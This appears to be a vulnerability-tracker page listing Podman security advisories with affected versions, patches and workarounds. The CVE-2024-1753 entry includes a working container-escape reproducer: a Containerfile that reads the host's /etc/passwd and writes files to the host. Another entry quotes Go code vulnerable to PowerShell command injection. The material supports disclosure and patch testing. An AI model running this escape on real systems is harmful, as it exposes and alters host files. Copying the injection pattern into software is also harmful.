github.com/containers/podman/v4 known bugs

go

23 known bugs in github.com/containers/podman/v4, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.

23
bugs
Known bugs
SeverityAffectedFixed inTitleStatusSource
highany5.6.1
podman kube play symlink traversal vulnerability
### Impact The podman kube play command can overwrite host files when the kube file contains a ConfigMap or Secret volume mount and the volume already contains a symlink to a host file. This allows a malicious container to write to arbitrary files on the host BUT the attacker only controls the target path not the contents that will be written to the file. The contents are defined in the yaml file by the end user. ### Requirements to exploit: podman kube play must be used with a ConfigMap or Secret volume mount AND must be run more than once on the same volume. All the attacker has to do is create the malicious symlink on the volume the first time it is started. After that all following starts would follow the symlink and write to the host location. ### Patches Fixed in podman v5.6.1 https://github.com/containers/podman/commit/43fbde4e665fe6cee6921868f04b7ccd3de5ad89 ### Workarounds Don't use podman kube play with ConfigMap or Secret volume mounts. ### PR with test for CI Adding on 9/8/2025 by @TomSweeneyRedHat , this is the PR containing the test in CI: https://github.com/containers/podman/pull/27001
fixedosv:GHSA-wp3j-xq48-xpjw
highany\u2014
Podman vulnerable to memory-based denial of service
A flaw was found in Podman. This issue may allow an attacker to create a specially crafted container that, when configured to share the same IPC with at least one other container, can create a large number of IPC resources in /dev/shm. The malicious container will continue to exhaust resources until it is out-of-memory (OOM) killed. While the malicious container's cgroup will be removed, the IPC resources it created are not. Those resources are tied to the IPC namespace that will not be removed until all containers using it are stopped, and one non-malicious container is holding the namespace open. The malicious container is restarted, either automatically or by attacker control, repeating the process and increasing the amount of memory consumed. With a container configured to restart always, such as `podman run --restart=always`, this can result in a memory-based denial of service of the system.
openosv:GHSA-rpcc-p8xm-rc6p
highany4.0.3
Podman's default inheritable capabilities for linux container not empty
A bug was found in Podman where containers were created with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during execve(2). This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set.
fixedosv:GHSA-qvf8-p83w-v58j
high4.8.0\u2014
Podman Improper Certificate Validation; machine missing TLS verification
### Impact The podman machine init command fails to verify the TLS certificate when downloading the VM images from an OCI registry (which it does by default since 5.0.0) allowing a possible Man In The Middle attack. ### Patches https://github.com/containers/podman/commit/726b506acc8a00d99f1a3a1357ecf619a1f798c3 Fixed in v5.5.2 ### Workarounds Download the disk image manually via some other tool that verifies the TLS connection. Then pass the local image as file path (podman machine init --image ./somepath)
openosv:GHSA-65gg-3w2w-hr4h
highany4.2.0
Podman's incorrect handling of the supplementary groups may lead to data disclosure, modification
An incorrect handling of the supplementary groups in the Podman container engine might lead to the sensitive information disclosure or possible data modification if an attacker has direct access to the affected container where supplementary groups are used to set access permissions and is able to execute a binary code in that container.
fixedosv:GHSA-4wjj-jwc9-2x96
mediumany\u2014
Podman Creates Temporary File with Insecure Permissions in github.com/containers/podman
Podman Creates Temporary File with Insecure Permissions in github.com/containers/podman
openosv:GO-2025-3961
mediumany5.6.1
podman kube play symlink traversal vulnerability in github.com/containers/podman
podman kube play symlink traversal vulnerability in github.com/containers/podman
fixedosv:GO-2025-3935
medium4.8.0\u2014
Podman Improper Certificate Validation; machine missing TLS verification in github.com/containers/podman
Podman Improper Certificate Validation; machine missing TLS verification in github.com/containers/podman
openosv:GO-2025-3777
mediumany1.37.4
Improper Input Validation in Buildah and Podman in github.com/containers/buildah
Improper Input Validation in Buildah and Podman in github.com/containers/buildah
fixedosv:GO-2024-3169
mediumany\u2014
Podman vulnerable to memory-based denial of service in github.com/containers/podman
Podman vulnerable to memory-based denial of service in github.com/containers/podman
openosv:GO-2024-3042
mediumany0.6.1
Podman Elevated Container Privileges in github.com/containers/podman
Podman Elevated Container Privileges in github.com/containers/podman
fixedosv:GO-2023-1962
mediumany1.6.0
Podman Symlink Vulnerability in github.com/containers/libpod
Podman Symlink Vulnerability in github.com/containers/libpod
fixedosv:GO-2023-1942
mediumany4.4.2
Time-of-check time-of-use race condition in github.com/containers/podman/v4
A Time-of-check Time-of-use (TOCTOU) flaw appears in this version of podman. This issue may allow a malicious user to replace a normal file in a volume with a symlink while exporting the volume, allowing for access to arbitrary files on the host file system.
fixedosv:GO-2023-1681
medium4.1.0-rc1\u2014
Path traversal in github.com/containers/podman/v4
The local path and the lowest subdirectory may be disclosed due to incorrect absolute path traversal, resulting in an impact to confidentiality.
openosv:GO-2022-1159
mediumany4.5.0
Buildah (as part of Podman) vulnerable to Link Following in github.com/containers/podman
Buildah (as part of Podman) vulnerable to Link Following in github.com/containers/podman
fixedosv:GO-2022-1151
mediumany4.0.3
Podman's default inheritable capabilities for linux container not empty in github.com/containers/podman
Podman's default inheritable capabilities for linux container not empty in github.com/containers/podman
fixedosv:GO-2022-0416
mediumany1.6.0
Podman Symlink Vulnerability
An issue was discovered in Podman in libpod before 1.6.0. It resolves a symlink in the host context during a copy operation from the container to the host, because an undesired glob operation occurs. An attacker could create a container image containing particular symlinks that, when copied by a victim user to the host filesystem, may overwrite existing files with others from the host.
fixedosv:GHSA-r34v-gqmw-qvgj
mediumany4.4.2
Podman Time-of-check Time-of-use (TOCTOU) Race Condition
A Time-of-check Time-of-use (TOCTOU) flaw was found in podman. This issue may allow a malicious user to replace a normal file in a volume with a symlink while exporting the volume, allowing for access to arbitrary files on the host file system.
fixedosv:GHSA-qwqv-rqgf-8qh8
medium4.8.0\u2014
PowerShell Command Injection in Podman HyperV Machine
## Summary A command injection vulnerability exists in Podman's HyperV machine backend. The VM image path is inserted into a PowerShell double-quoted string without sanitization, allowing `$()` subexpression injection. ## Affected Code **File**: `pkg/machine/hyperv/stubber.go:647` ```go resize := exec.Command("powershell", []string{ "-command", fmt.Sprintf("Resize-VHD \"%s\" %d", imagePath.GetPath(), newSize.ToBytes()), }...) ``` ## Root Cause PowerShell evaluates `$()` subexpressions inside double-quoted strings before executing the outer command. The `fmt.Sprintf` call places the user-controlled image path directly into double quotes without escaping or sanitization. ## Impact An attacker who can control the VM image path (through a crafted machine name or image directory) can execute arbitrary PowerShell commands with the privileges of the Podman process on the Windows host. On typical Windows installations, this means SYSTEM-level code execution. ## Patch https://github.com/containers/podman/commit/571c842bd357ee626019ea97d030fb772fc654ed The affected code is only used on Windows, all other operating systems are not affected by this and can thus ignore the CVE patch. ## Credit We like to thank Sang-Hoon Choi (@KoreaSecurity) for reporting this issue to us.
openosv:GHSA-hc8w-h2mf-hp59
mediumany1.37.4
Improper Input Validation in Buildah and Podman
A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files.
fixedosv:GHSA-fhqq-8f65-5xfc
mediumany4.9.4
Podman affected by CVE-2024-1753 container escape at build time
### Impact _What kind of vulnerability is it? Who is impacted?_ Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed. ### Patches From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman. ``` # cat /root/cve-2024-1753.diff --- internal/volumes/volumes.go +++ internal/volumes/volumes.go @@ -11,6 +11,7 @@ import ( "errors" + "github.com/containers/buildah/copier" "github.com/containers/buildah/define" "github.com/containers/buildah/internal" internalParse "github.com/containers/buildah/internal/parse" @@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st // buildkit parity: support absolute path for sources from current build context if contextDir != "" { // path should be /contextDir/specified path - newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source)) + evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{}) + if err != nil { + return newMount, "", err + } + newMount.Source = evaluated } else { // looks like its coming from `build run --mount=type=bind` allow using absolute path // error out if no source is set ``` ### Reproducer Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system. Use the following Containerfile ``` # cat ~/cve_Containerfile FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 ``` #### To Test ##### Testing with an older version of Podman with the issue ``` setenforce 0 podman build -f ~/cve_Containerfile . ``` As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. ``` podman rm -a podman rmi -a rm /BIND_BREAKOUT rm /etc/BIND_BREAKOUT2 setenforce 1 podman build -f ~/cve_Containerfile . ``` Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. However, the files in both the `/` and `/etc` directories on the host system will be displayed. ##### Testing with the patch Use the same commands as testing with an older version of Podman. When running using the patched version of Podman, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes. NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image. ### Workarounds Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory. ### References Unknown.
fixedosv:GHSA-874v-pj72-92f3
mediumany4.5.0
Buildah (as part of Podman) vulnerable to Link Following
A vulnerability was found in buildah. Incorrect following of symlinks while reading .containerignore and .dockerignore results in information disclosure.
fixedosv:GHSA-4crw-w8pw-2hmf
low4.1.0-rc1\u2014
Buildah (as part of Podman) vulnerable to Path Traversal
A flaw was found in Buildah. The local path and the lowest subdirectory may be disclosed due to incorrect absolute path traversal, resulting in an impact to confidentiality.
openosv:GHSA-rprg-4v7q-87v7
API access

Get this data programmatically \u2014 free, no authentication.

curl https://depscope.dev/api/bugs/go/github.com/containers/podman/v4